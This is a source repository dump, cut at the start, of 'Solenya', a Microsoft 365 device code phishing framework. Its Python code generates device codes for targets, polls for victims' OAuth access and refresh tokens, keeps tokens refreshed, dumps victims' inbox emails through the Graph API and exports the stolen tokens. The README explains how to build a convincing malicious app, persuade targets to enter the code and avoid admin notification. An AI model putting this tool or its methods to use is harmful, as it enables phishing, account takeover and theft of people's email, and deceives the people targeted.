current_app.display(msgs.no_refresh_token(target)) 42 | continue 43 | updated_targets.append(target) 44 | targets = updated_targets 45 | target_id_mapping = {target.id: target for target in targets} 46 | cors = [client.refresh_access_token( 47 | target.refresh_token, target_id = target.id, raise_on_status_code = False) for target in targets] 48 | responses = client.client.loop.run_until_complete(gather(*cors)) 49 | for r in responses: 50 | target = target_id_mapping[r.resource.func_kwargs['target_id']] 51 | if r.status != 200: 52 | current_app.display(msgs.could_not_get_access_token(target)) 53 | continue 54 | target.access_token = r.json['access_token'] 55 | target.access_token_ts = datetime.now() 56 | target.save() 57 | current_app.display(msgs.access_token_success(target)) 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /msph/commands/wsp/command.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | 3 | from msph.app import Command, current_app 4 | from msph.clients import ms_online as client 5 | 6 | from ... import wsp, settings 7 | from ...exceptions import CliAppError 8 | from .validators import client_id 9 | from . import msgs 10 | from ...models import Target, Wsp, WspTarget 11 | 12 | wsp_cmd = Command('wsp', __name__, 13 | validators=[]) 14 | 15 | @wsp_cmd.assembly 16 | def assemble_parser(subparsers): 17 | parser = subparsers.add_parser(wsp_cmd.name, 18 | help='initialize the WorkSpace.') 19 | parser.add_argument('client_id', 20 | help='client id of the application with needed permissions.', 21 | type=client_id) 22 | parser.add_argument('-t --target', 23 | help="specify active target name, 'default' otherwise.", 24 | default="default", 25 | dest="target_name") 26 | parser.add_argument('--reset-hard', 27 | help="reset existing WorkSpace.", 28 | dest="wsp_reset", 29 | action='store_true') 30 | parser.add_argument('-v', '--verbose', 31 | help="show output of API.", 32 | dest="verbose", 33 | action='store_true') 34 | return parser 35 | 36 | @wsp_cmd.func 37 | def main(): 38 | if wsp.exists: 39 | if not settings.wsp_reset: 40 | raise CliAppError(msgs.workspace_exists(current_app)) 41 | wsp.clear() 42 | try: 43 | r = client.get_device_code(settings.client_id, raise_on_status_code = False) 44 | if settings.verbose: 45 | current_app.display(r.json) 46 | if r.status != 200: 47 | raise Exception 48 | except: 49 | raise CliAppError(msgs.invalid_client_id(settings)) 50 | else: 51 | wsp.create() 52 | wsp.connect_db() 53 | wsp.db.create_tables([Target, Wsp, WspTarget]) 54 | wsp_record = Wsp(client_id = settings.client_id) 55 | wsp_record.save() 56 | target = Target( 57 | name=settings.target_name, 58 | **r.json, 59 | user_code_ts = datetime.now(), 60 | device_code_ts = datetime.now() 61 | ) 62 | target.save() 63 | WspTarget( 64 | wsp = wsp_record, 65 | target = target, 66 | active = True 67 | ).save() 68 | current_app.display(msgs.workspace_created(settings, wsp, target)) 69 | 70 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /msph/commands/export/command.py: -------------------------------------------------------------------------------- 1 | from playhouse.shortcuts import model_to_dict 2 | from datetime import datetime 3 | import os 4 | 5 | from msph.app import Command, current_app 6 | 7 | from ... import settings, wsp 8 | from ...models import WspTarget, Target 9 | from ...validators import ActiveTargetRequired 10 | from ... import utils 11 | from . import msgs 12 | 13 | export = Command('export', __name__, validators=[ActiveTargetRequired()]) 14 | 15 | @export.assembly 16 | def assembly(subparsers): 17 | parser = subparsers.add_parser(export.name, 18 | help="Exports data from the WorkSpace.") 19 | parser.add_argument('-a', '--all', 20 | help="Designates all targets.", 21 | action="store_true", 22 | dest="all_targets") 23 | parser.add_argument('-o', '--output', 24 | help="Specify the path to save the output to.", 25 | dest="outpath") 26 | parser.add_argument('-f', '--format', 27 | help="The format of the export file.", 28 | choices=['csv', 'json'], 29 | default='csv', 30 | dest='outfile_format') 31 | return parser 32 | 33 | @export.func 34 | def main(): 35 | if settings.all_targets: 36 | targets = [target for target in Target.select()] 37 | current_app.display(msgs.exporting_active_target(targets[0])) 38 | else: 39 | targets = [target for target in Target.select()\ 40 | .join(WspTarget)\ 41 | .where(WspTarget.active == True)] 42 | current_app.display(msgs.exporting_all_targets(targets)) 43 | if settings.outpath: 44 | file_path = settings.outpath 45 | else: 46 | file_path = os.path.join( 47 | wsp.root_dir, 48 | f"targets.{datetime.now().strftime('%Y%m%dT%H%M%S')}.{settings.outfile_format}" 49 | ) 50 | if settings.outfile_format == 'csv': 51 | target_rows = [model_to_dict(target).values() for target in targets] 52 | target_headers = next(model_to_dict(target).keys() for target in targets) 53 | utils.save_to_csv(target_rows, target_headers, file_path) 54 | if settings.outfile_format == 'json': 55 | target_dicts = [model_to_dict(target) for target in targets] 56 | for target in target_dicts: 57 | for k, v in target.items(): 58 | if isinstance(v, datetime): 59 | target[k] = v.isoformat(sep=' ') 60 | utils.save_json(target_dicts, file_path) 61 | current_app.display(msgs.saved_targets_to_file(file_path)) 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /msph/commands/target/msgs.py: -------------------------------------------------------------------------------- 1 | import colorful as cf 2 | 3 | def target_exists(name): 4 | return f"{cf.yellow('WARNING')}: target {cf.cyan(name)} already exists. {cf.white('Skipping...')}" 5 | 6 | def target_registered(target): 7 | return ( 8 | f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been registered. " 9 | f"({cf.coral('user_code')}:{cf.cyan(target.user_code)}, expires: {target.get_exp_time('user_code')})" 10 | ) 11 | 12 | def target_reset(target): 13 | return ( 14 | f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been reset. " 15 | f"({cf.coral('user_code')}:{cf.cyan(target.user_code)}, expires: {target.get_exp_time('user_code')})" 16 | ) 17 | 18 | def could_not_get_user_code(settings): 19 | return ( 20 | f"Could not get user_code for specified targets.\n" 21 | f"Client id '{cf.cyan(settings.client_id)}' may be invalid." 22 | "Set '--verbose' flag for more detail." 23 | ) 24 | 25 | def target_not_wsp(name): 26 | return f"{cf.yellow('WARNING')}: target {cf.magenta(name)} is not in WorkSpace. {cf.white('Skipping...')}" 27 | 28 | def target_is_active(target): 29 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} is active. Can not delete active target. {cf.white('Skipping...')}" 30 | 31 | def target_has_refresh_token(target): 32 | return ( 33 | f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has a non expired refresh_token. {cf.white('Skipping...')}" 34 | ) 35 | 36 | def target_deleted(target): 37 | return f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been deleted." 38 | 39 | def target_list(targets): 40 | msg = "" 41 | for target in targets: 42 | if target.active: sub_msg = cf.orange("* ") 43 | else: sub_msg = " " 44 | sub_msg += f"{cf.magenta(target.name)} [auth]:" 45 | if target.refresh_token: 46 | sub_msg += cf.green('refresh_token') 47 | if target.is_exp('refresh_token'): 48 | sub_msg += cf.red("(EXPIRED)") 49 | else: 50 | sub_msg += f"(expires: {target.get_exp_time('refresh_token')})" 51 | else: 52 | sub_msg += f"{cf.coral('user_code')}:{cf.cyan(target.user_code)}" 53 | if target.is_exp('user_code'): 54 | sub_msg += cf.red("(EXPIRED)") 55 | else: 56 | sub_msg += f"(expires: {target.get_exp_time('user_code')})" 57 | msg += f"{sub_msg}\n" 58 | msg = msg[:-1] 59 | return msg 60 | 61 | def target_made_active(target): 62 | return ( 63 | f"{cf.yellow('WARNING')} WorkSpace did not find an active target, Setting target {cf.magenta(target.name)} as active." 64 | ) 65 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | site.db 9 | 10 | # C extensions 11 | *.so 12 | 13 | # Distribution / packaging 14 | .Python 15 | build/ 16 | develop-eggs/ 17 | dist/ 18 | downloads/ 19 | eggs/ 20 | .eggs/ 21 | lib/ 22 | lib64/ 23 | parts/ 24 | sdist/ 25 | var/ 26 | wheels/ 27 | share/python-wheels/ 28 | *.egg-info/ 29 | .installed.cfg 30 | *.egg 31 | MANIFEST 32 | 33 | # PyInstaller 34 | # Usually these files are written by a python script from a template 35 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 36 | *.manifest 37 | *.spec 38 | 39 | # Installer logs 40 | pip-log.txt 41 | pip-delete-this-directory.txt 42 | 43 | # Unit test / coverage reports 44 | htmlcov/ 45 | .tox/ 46 | .nox/ 47 | .coverage 48 | .coverage.* 49 | .cache 50 | nosetests.xml 51 | coverage.xml 52 | *.cover 53 | *.py,cover 54 | .hypothesis/ 55 | .pytest_cache/ 56 | cover/ 57 | 58 | # Translations 59 | *.mo 60 | *.pot 61 | 62 | # Django stuff: 63 | *.log 64 | local_settings.py 65 | db.sqlite3 66 | db.sqlite3-journal 67 | 68 | # Flask stuff:t 69 | instance/ 70 | .webassets-cache 71 | 72 | # Scrapy stuff: 73 | .scrapy 74 | 75 | # Sphinx documentation 76 | docs/_build/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 98 | __pypackages__/ 99 | 100 | # Celery stuff 101 | celerybeat-schedule 102 | celerybeat.pid 103 | 104 | # SageMath parsed files 105 | *.sage.py 106 | 107 | # Environments 108 | .env 109 | .venv 110 | env/ 111 | venv/ 112 | ENV/ 113 | env.bak/ 114 | venv.bak/ 115 | 116 | # Spyder project settings 117 | .spyderproject 118 | .spyproject 119 | 120 | # Rope project settings 121 | .ropeproject 122 | 123 | # mkdocs documentation 124 | /site 125 | 126 | # mypy 127 | .mypy_cache/ 128 | .dmypy.json 129 | dmypy.json 130 | 131 | # Pyre type checker 132 | .pyre/ 133 | 134 | # pytype static type analyzer 135 | .pytype/ 136 | 137 | # Cython debug symbols 138 | cython_debug/ 139 | 140 | #Access tokens 141 | .sol/ -------------------------------------------------------------------------------- /msph/clients/framework.py: -------------------------------------------------------------------------------- 1 | from functools import wraps 2 | from aiohttp import ClientSession 3 | from asyncio import get_event_loop 4 | from types import SimpleNamespace 5 | 6 | class ClientError(Exception): 7 | pass 8 | 9 | class Resource(SimpleNamespace): 10 | 11 | def __init__(self, uri:str=str(), params:dict=dict(), headers:dict=dict(), 12 | data:dict=dict(), json:dict=dict(), func_kwargs=dict()) -> None: 13 | self.uri = uri 14 | self.params = params 15 | self.headers = headers 16 | self.data = data 17 | self.json = json 18 | self.func_kwargs = func_kwargs 19 | 20 | class Response(SimpleNamespace): 21 | 22 | def __init__(self, status, json, resource) -> None: 23 | self.json = json 24 | self.status = status 25 | self.resource = resource 26 | 27 | class Client(object): 28 | 29 | def __init__(self, base_url, base_headers = None): 30 | self.base_url = base_url 31 | if base_headers: 32 | self.base_headers = base_headers 33 | else: 34 | self.base_headers = {} 35 | self.loop = get_event_loop() 36 | self.aio = False 37 | 38 | async def do_get_request(self, resource, raise_on_status_code): 39 | async with ClientSession(loop = self.loop) as session: 40 | data_or_json = {} 41 | if resource.data: 42 | data_or_json['data'] = resource.data 43 | if resource.json: 44 | data_or_json['json'] = resource.json 45 | async with session.get( 46 | url = self.base_url + resource.uri, 47 | headers={**self.base_headers, **resource.headers}, 48 | params=resource.params, 49 | **data_or_json 50 | ) as r: 51 | json_ = await r.json() 52 | if r.status != 200 and raise_on_status_code: 53 | raise ClientError(f'Server did not return 200. Status code: {r.status}.') 54 | return Response(r.status, json_, resource) 55 | 56 | async def handler(self, func, *args, raise_on_status_code, **kwargs): 57 | resource = func(*args, **kwargs) 58 | resource.func_kwargs = kwargs 59 | r = await self.do_get_request(resource, raise_on_status_code) 60 | return r 61 | 62 | def endpoint(self, func): 63 | @wraps(func) 64 | def wrapper(*args, raise_on_status_code = True, **kwargs): 65 | return self.handler( 66 | func, *args, 67 | raise_on_status_code = raise_on_status_code, 68 | **kwargs) if self.aio \ 69 | else self.loop.run_until_complete( 70 | self.handler( 71 | func, *args, 72 | raise_on_status_code = raise_on_status_code, 73 | **kwargs) 74 | ) 75 | return wrapper 76 | 77 | 78 | -------------------------------------------------------------------------------- /msph/commands/dump/email/command.py: -------------------------------------------------------------------------------- 1 | from asyncio import gather 2 | from datetime import date, datetime 3 | import os 4 | 5 | from msph.app import Command, current_app 6 | 7 | from . import msgs 8 | from ....exceptions import CliAppError 9 | from ....clients import graph_api as client 10 | from ....models import Wsp, WspTarget, Target 11 | from .... import settings, wsp 12 | from .... import utils 13 | from ....validators import ActiveTargetRequired 14 | 15 | email = Command('email', __name__, validators=[ActiveTargetRequired()]) 16 | 17 | @email.assembly 18 | def assemble_parser(subparsers): 19 | parser = subparsers.add_parser(email.name, 20 | help="fetch all e-mails from the inbox using the Microsoft Graph API and dump them to a file") 21 | parser.add_argument('-a', '--all', 22 | help="collect all e-mails for every target in the WorkSpace.", 23 | action="store_true", 24 | dest="all_targets") 25 | parser.add_argument('-v', '--verbose', 26 | help="display output from the API.", 27 | action="store_true", 28 | dest="verbose") 29 | parser.add_argument('-o', '--output', 30 | help="specify the path to save the dump to, saved in WorkSpace folder otherwise.", 31 | dest="outpath") 32 | return parser 33 | 34 | @email.func 35 | def main(): 36 | client.client.aio = True 37 | current_app.display(msgs.starting_check()) 38 | current_app.display(msgs.starting_session()) 39 | if settings.all_targets: 40 | targets = [target for target in Target.select()] 41 | current_app.display(msgs.run_for_all_targets(targets)) 42 | else: 43 | targets = [target for target in Target.select()\ 44 | .join(WspTarget)\ 45 | .where(WspTarget.active == True)] 46 | current_app.display(msgs.run_for_active_target(targets[0])) 47 | updated_targets = [] 48 | for target in targets: 49 | if target.is_exp('access_token'): 50 | current_app.display(msgs.user_code_expired(target)) 51 | continue 52 | updated_targets.append(target) 53 | targets = updated_targets 54 | if not targets: 55 | raise CliAppError(msgs.no_targets_with_access_token()) 56 | target_id_mapping = {target.id: target for target in targets} 57 | cors = [client.get_emails(target.access_token, target_id = target.id, raise_on_status_code = False) for target in targets] 58 | responses = client.client.loop.run_until_complete(gather(*cors)) 59 | out_dict = {} 60 | for r in responses: 61 | target = target_id_mapping[r.resource.func_kwargs['target_id']] 62 | if r.status != 200: 63 | current_app.display(msgs.target_failed(target)) 64 | continue 65 | out_dict[target.name] = r.json 66 | current_app.display(msgs.target_dumped(target)) 67 | if settings.outpath: 68 | file_path = settings.outpath 69 | else: 70 | file_path = os.path.join(wsp.root_dir, f"emails.{datetime.now().strftime('%Y%m%dT%H%M%S')}.json") 71 | utils.save_json(out_dict, file_path) 72 | current_app.display(msgs.file_saved(file_path, len(out_dict.keys()))) 73 | 74 | -------------------------------------------------------------------------------- /msph/commands/auth/phish/command.py: -------------------------------------------------------------------------------- 1 | from asyncio import gather 2 | from datetime import datetime 3 | import time 4 | 5 | from .... import settings, wsp 6 | from ....models import Wsp, WspTarget, Target 7 | from ....app import current_app, Command 8 | from ....clients import ms_online as client 9 | from . import msgs 10 | 11 | phish = Command('phish', __name__, validators=[]) 12 | 13 | @phish.assembly 14 | def assemble_parser(subparsers): 15 | parser = subparsers.add_parser('phish', 16 | help="fetch the OAuth tokens via oauth2 using device_code.") 17 | parser.add_argument('-a', '-all', 18 | help="fetch tokens for all targets registered with WorkSpace.", 19 | action="store_true", 20 | dest="all_targets") 21 | parser.add_argument('-v', '--verbose', 22 | help="display output from the API.", 23 | action="store_true", 24 | dest="verbose") 25 | parser.add_argument('-m', '--monitor', 26 | help="fetch the OAuth tokens incrementally making API calls in monitor mode, this is preferred", 27 | action='store_true', 28 | dest="monitor") 29 | return parser 30 | 31 | @phish.func 32 | def main(): 33 | client.client.aio = True 34 | wsp_record = Wsp.select().first() 35 | targets_expired_count = 0 36 | targets_authed_count = 0 37 | current_app.display(msgs.starting_session()) 38 | if settings.all_targets: 39 | targets = [target for target in Target.select()] 40 | current_app.display(msgs.checking_for_all_targets(targets)) 41 | else: 42 | targets = [target for target in Target.select()\ 43 | .join(WspTarget)\ 44 | .where(WspTarget.active == True)] 45 | current_app.display(msgs.checking_for_active_target(targets[0])) 46 | updated_targets = [] 47 | for target in targets: 48 | if not target.is_exp('refresh_token'): 49 | current_app.display(msgs.has_refresh_token(target)) 50 | continue 51 | # if target.is_exp('device_code'): 52 | # current_app.display(msgs.user_code_expired(target)) 53 | # continue 54 | updated_targets.append(target) 55 | targets = updated_targets 56 | try: 57 | current_app.display(msgs.starting_check()) 58 | while True: 59 | if not targets: 60 | current_app.display(msgs.no_targets_need_phishing()) 61 | raise KeyboardInterrupt 62 | target_devc_mapping = {target.device_code: target for target in targets} 63 | cors = [client.get_access_token(wsp_record.client_id, device_code = target.device_code, 64 | raise_on_status_code=False) for target in targets] 65 | responses = client.client.loop.run_until_complete(gather(*cors)) 66 | for r in responses: 67 | target = target_devc_mapping[r.resource.func_kwargs['device_code']] 68 | if settings.verbose: 69 | current_app.display(r.json) 70 | if r.json.get('error') == 'authorization_pending': 71 | pass 72 | if r.json.get('error') == 'expired_token': 73 | targets_expired_count += 1 74 | targets = [_target for _target in targets if _target.name != target.name] 75 | current_app.display(msgs.user_code_expired(target)) 76 | if r.status == 200: 77 | targets_authed_count += 1 78 | target.access_token = r.json['access_token'] 79 | target.refresh_token = r.json['refresh_token'] 80 | target.access_token_ts = datetime.now() 81 | target.refresh_token_ts = datetime.now() 82 | target.save() 83 | targets = [_target for _target in targets if _target.name != target.name] 84 | current_app.display(msgs.target_authed(target)) 85 | if settings.monitor: 86 | time.sleep(1) 87 | else: 88 | raise KeyboardInterrupt 89 | except KeyboardInterrupt: 90 | current_app.display(msgs.ending_session(targets_authed_count, targets_expired_count)) 91 | 92 | 93 | 94 | 95 | 96 | 97 | -------------------------------------------------------------------------------- /msph/app.py: -------------------------------------------------------------------------------- 1 | from types import SimpleNamespace 2 | from functools import wraps 3 | import inspect 4 | import sys 5 | 6 | from .exceptions import CliAppError 7 | from .settings import Settings 8 | 9 | current_app = None 10 | 11 | class CliApp(object): 12 | 13 | def __init__(self, name) -> None: 14 | self.name = name 15 | self.plugins = SimpleNamespace() 16 | self.settings = None 17 | self.parser = None 18 | self.active_command = None 19 | self.commands = {} 20 | global current_app; current_app=self 21 | 22 | def display(self, msg, padding=False): 23 | if padding: 24 | msg = f"\n{msg}\n" 25 | print(msg) 26 | 27 | def register_settings(self, settings): 28 | settings.register_app(self) 29 | self.settings = settings 30 | 31 | def register_command(self, command): 32 | path = '.'.join(list(filter( 33 | lambda val: 'command' not in val, 34 | command._name_.split('.') 35 | ))) 36 | self.commands[path] = command 37 | 38 | def register_plugin(self, plugin): 39 | setattr(self.plugins, plugin.name, plugin) 40 | plugin.register_app(self) 41 | 42 | def register_parser(self, parser): 43 | self.parser = parser 44 | 45 | def cli_validator(self, func): 46 | self._custom_validators.append(func) 47 | 48 | def register_config(self, config): 49 | self.config = {k:v for k, v in config.__dict__.items() if k.isupper()} 50 | 51 | def run_command(self, command_path, settings): 52 | active_command_bak = self.active_command 53 | settings_bak = Settings().register_from_namespace(self.settings) 54 | try: 55 | self.current_command = self.commands[command_path] 56 | except KeyError: 57 | raise CliAppError(f'Command {command_path} is not registered with the application') 58 | else: 59 | self.settings.clear().register_from_namespace(settings) 60 | self.current_command.default_func() 61 | self.current_command = active_command_bak 62 | self.settings.clear().register_from_namespace(settings_bak) 63 | 64 | def dispatch(self, argv): 65 | if not self.parser: 66 | raise CliAppError('Parser is not registered.') 67 | if not argv: 68 | self.parser.print_help() 69 | sys.exit() 70 | args = self.parser.parse_args(argv) 71 | self.settings.register_from_namespace(args) 72 | args.func() 73 | 74 | class Command(object): 75 | 76 | def __init__(self, name, _name_, validators = None) -> None: 77 | self.name = name 78 | self._name_ = _name_ 79 | self.app = None 80 | self.assemble_parser = None 81 | self.default_func = None 82 | self.parser = None 83 | if not validators: 84 | validators = [] 85 | self.validators = validators 86 | 87 | def assembly(self, func): 88 | self.assemble_parser = self._register_parser(func) 89 | 90 | def _register_parser(self, func): 91 | def wrapper(*args, app, **kwargs): 92 | self.app = app 93 | app.register_command(self) 94 | app_kw = {'app': self.app} if 'app' in inspect.getargspec(func).args else {} 95 | self.parser = func(*args, **app_kw, **kwargs) 96 | if self.default_func: 97 | self.parser.set_defaults(func=self.default_func) 98 | return self.parser 99 | return wrapper 100 | 101 | def func(self, func): 102 | self.default_func = self._func_wrapper(func) 103 | 104 | def _func_wrapper(self, func): 105 | def wrapper(*args, **kwargs): 106 | self.app.active_command = self 107 | for validator in self.validators: 108 | validator.validate() 109 | return func(*args, **kwargs) 110 | return wrapper 111 | 112 | class Validator(object): 113 | 114 | def validate(self): 115 | pass 116 | 117 | 118 | 119 | LICENSE = """ 120 | MIT License 121 | 122 | Copyright (c) 2021 Artur Saradzhyan, Alex Martirosyan 123 | 124 | Permission is hereby granted, free of charge, to any person obtaining a copy 125 | of this software and associated documentation files (the "Software"), to deal 126 | in the Software without restriction, including without limitation the rights 127 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 128 | copies of the Software, and to permit persons to whom the Software is 129 | furnished to do so, subject to the following conditions: 130 | 131 | The above copyright notice and this permission notice shall be included in all 132 | copies or substantial portions of the Software. 133 | 134 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 135 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 136 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 137 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 138 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 139 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 140 | SOFTWARE. 141 | """ -------------------------------------------------------------------------------- /msph/commands/target/command.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from asyncio import gather 3 | 4 | from msph.app import Command, current_app 5 | 6 | from ...clients import ms_online as client 7 | from ...exceptions import CliAppError 8 | from .validators import CliValidator, target_names 9 | from ...models import Target, WspTarget, Wsp 10 | from . import msgs 11 | from ... import settings 12 | from ...validators import ClientIdRequired 13 | 14 | target = Command('target', __name__, 15 | validators=[CliValidator(), ClientIdRequired()]) 16 | 17 | @target.assembly 18 | def assemble_parser(subparsers, app): 19 | parser = subparsers.add_parser( 20 | name=target.name, 21 | help="manage targets stored in the WorkSpace, shows avaliable targets if no arguments are supplied.", 22 | ) 23 | group = parser.add_mutually_exclusive_group() 24 | group.add_argument('-r', '--reset', 25 | help=("reset the device_code and user_code of specified target, " 26 | "program will block if target has non expired refresh_token."), 27 | dest="reset_target", 28 | action="store_true") 29 | group.add_argument('-d', '--delete', 30 | help=("delete target specified by {target_name}, " 31 | "program will block if target has non expired refresh_token."), 32 | dest="delete_target", 33 | action="store_true") 34 | parser.add_argument('-a', '--all', 35 | help=("designated all targets; can only be used with [-r] flag."), 36 | action='store_true', 37 | dest="all_targets") 38 | parser.add_argument('target_names', 39 | help=("names of the targets, creates the targets if no flags are supplied."), 40 | nargs="*", 41 | type=target_names) 42 | parser.add_argument('-v', '--verbose', 43 | help="shows the output of API.", 44 | action="store_true") 45 | parser.add_argument('--hard', 46 | help="overwrite the block in the [-r | -d] flags", 47 | dest="reset_hard", 48 | action="store_true") 49 | return parser 50 | 51 | @target.func 52 | def main(): 53 | wsp_record = Wsp.select().first() 54 | client.client.aio = True 55 | if not settings.target_names: 56 | targets = sorted([target for target in Target.select()], key=lambda t: not t.active) 57 | if not settings.all_targets and not settings.reset_target: 58 | current_app.display(msgs.target_list(targets)) 59 | return 60 | if not settings.delete_target and not settings.reset_target: 61 | target_names = [] 62 | for name in settings.target_names: 63 | if Target.select().where(Target.name==name).first(): 64 | current_app.display(msgs.target_exists(name)) 65 | continue 66 | target_names.append(name) 67 | cors = [_get_user_code(wsp_record) for _ in target_names] 68 | responses = client.client.loop.run_until_complete(gather(*cors)) 69 | for json_data, name in list(zip(responses, target_names)): 70 | target = Target(name = name, **json_data) 71 | target.save() 72 | wsp_target = WspTarget(target = target, wsp = wsp_record) 73 | wsp_target.save() 74 | current_app.display(msgs.target_registered(target)) 75 | return 76 | if settings.delete_target: 77 | for name in settings.target_names: 78 | target = Target.select().where(Target.name == name).first() 79 | if not target: 80 | current_app.display(msgs.target_not_wsp(name)) 81 | continue 82 | if target.active: 83 | current_app.display(msgs.target_is_active(target)) 84 | continue 85 | if not target.is_exp('refresh_token') and not settings.reset_hard: 86 | current_app.display(msgs.target_has_refresh_token(target)) 87 | continue 88 | target.delete_instance() 89 | wsp_target = WspTarget.select().where(WspTarget.target == target.id).first() 90 | wsp_target.delete_instance() 91 | current_app.display(msgs.target_deleted(target)) 92 | if settings.reset_target: 93 | if settings.target_names: 94 | targets = [] 95 | for name in settings.target_names: 96 | target = Target.select().where(Target.name == name).first() 97 | if not target: 98 | current_app.display(msgs.target_not_wsp(name)) 99 | continue 100 | targets.append(target) 101 | elif settings.all_targets: 102 | targets = [target for target in Target.select()] 103 | else: 104 | targets = [target for target in Target.select()\ 105 | .join(WspTarget)\ 106 | .where(WspTarget.active == True)] 107 | targets_no_rt = [] 108 | for target in targets: 109 | if not target.is_exp('refresh_token') and not settings.reset_hard: 110 | current_app.display(msgs.target_has_refresh_token(target)) 111 | continue 112 | targets_no_rt.append(target) 113 | cors = [_get_user_code(wsp_record) for _ in targets_no_rt] 114 | responses = client.client.loop.run_until_complete(gather(*cors)) 115 | for json_data, target in list(zip(responses, targets)): 116 | Target.update(**json_data, 117 | refresh_token_ts = None, 118 | access_token_ts = None).where(Target.id == target.id).execute() 119 | target = Target.select().where(Target.id == target.id).first() 120 | current_app.display(msgs.target_reset(target)) 121 | 122 | async def _get_user_code(wsp_record): 123 | r = await client.get_device_code(client_id=wsp_record.client_id, raise_on_status_code = False) 124 | if settings.verbose: 125 | current_app.display(r.json) 126 | if r.status != 200: 127 | raise CliAppError(msgs.could_not_get_user_code()) 128 | return { 129 | 'device_code': r.json['device_code'], 130 | 'user_code': r.json['user_code'], 131 | 'device_code_ts': datetime.now(), 132 | 'user_code_ts': datetime.now(), 133 | 'access_token': None, 134 | 'refresh_token': None 135 | } 136 | 137 | 138 | 139 | 140 | 141 | 142 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Solenya - M365 Device Code Phishing Framework 4 | 5 | Solenya is a CLI tool which provides a framework to perform M365 device code phishing. As defined in RFC8628, an attacker can perform a social engineering attack by instructing a target to register a malicious application using a device code. 6 | 7 |

8 | 9 |

10 | 11 | **DISCLAIMER**: The contributors are not responsible for any malicious use of the tool. The tool is developed for educational purposes and should be used solely by defenders or authorized testers. 12 | 13 | ## Prerequisites 14 | By default, Microsoft allows any user to add new applications to their M365 profile. Below, is a screenshot of a fresh deployment of an Azure subscription. As the setting implies, any user can both add and authorize a new application to their profile. This can be abused by an attacker by creating a "malicious" application and convincing an end user to authorize it by entering a device code. A good analogy to think about is Netflix granting Smart TV's access by generating a device code for the user to enter and sign into their account. A Microsoft endpoint which is used for legitmate purposes can be accessed by anyone to enter such a device code. 15 | 16 | ![default_permissions](https://raw.githubusercontent.com/CultCornholio/solenya/dev/images/default_permissions.png) 17 | 18 | To create a "malicious" application you need an Azure subscrition. For testing purposes, we recommend signing up for the [Microsoft 365 Developer](https://developer.microsoft.com/en-us/microsoft-365/dev-program) program to create a live environment. This program is free and allows you to populate the tenant with various services and fake users. 19 | 20 | Once created, head to the Azure Portal and search for "App Registrations". Here, you can create a "New Registration" with any arbitrary name. This name will be visible to any user that attempts to authorize the application. You also have the ability to add a logo to create a convincing pre-text. 21 | 22 | ![app_registrations](https://raw.githubusercontent.com/CultCornholio/solenya/master/images/app-registrations.png) 23 | 24 | 1. Choose "Accounts in any organizational directory (Any Azure AD directory - Multitenant) and personal Microsoft accounts (e.g. Skype, Xbox)" under the account type section. 25 | 26 | You now successfully registered an application that can be used to perform device code phishing. The last important change that needs to be made is in the "Authentication" settings of the application. 27 | 28 | ![app_settings](https://raw.githubusercontent.com/CultCornholio/solenya/master/images/app-demo.png) 29 | 30 | 2. Enable public client flows so the application can be accessed remotely without any redirects. 31 | 32 | ![app_auth](https://raw.githubusercontent.com/CultCornholio/solenya/master/images/app-auth.png) 33 | 34 | 35 | ![app_clientflow](https://raw.githubusercontent.com/CultCornholio/solenya/master/images/public-client.png) 36 | 37 | 3. Use solenya with the "client_id" of the created application to generate a device code for a target. 38 | 39 | ![get_clientid](https://raw.githubusercontent.com/CultCornholio/solenya/master/images/getting-client-id.png) 40 | 41 | 4. Convince a target to enter the user code at the following endpoint using solenya (https://microsoft.com/devicelogin). 42 | 43 | ## Additional Considerations 44 | 45 | You also have the ability to tweak the "API Permissions" of the application. This directly correlates to the device_code_scope within "solenya/msph/clients/constants.py". By default, solenya perfers permissions that do not require admin consent. This ensures an admin will not be notified if a user authorizes an application on their profile. However, this also limits the actions we can perform against the Microsoft Graph API. As each cloud environment is unique, be careful when enabling new permissions as it may lead to poor opsec. 46 | 47 | 48 | 49 | ## Motivation 50 | 51 | If you understand the basics of this attack, you may still be left wondering what situation would you perform device code phishing over traditional phishing. In this attack, you only have 15 minutes to convince a user to enter the code before it expires and you don't actually get any credentials that can be used to logon interactively. Instead, you recieve OAuth tokens in the form of an access_token, refresh_token, and id_token. 52 | 53 | The short answer is because we are leveraging pre-built infrastructure. Specifically, we are relying on Microsoft 365 entirely to serve our phishing infrastructure. This builds trust not only with a target but with a vareity of security controls. How many people are actively blocking Microsoft 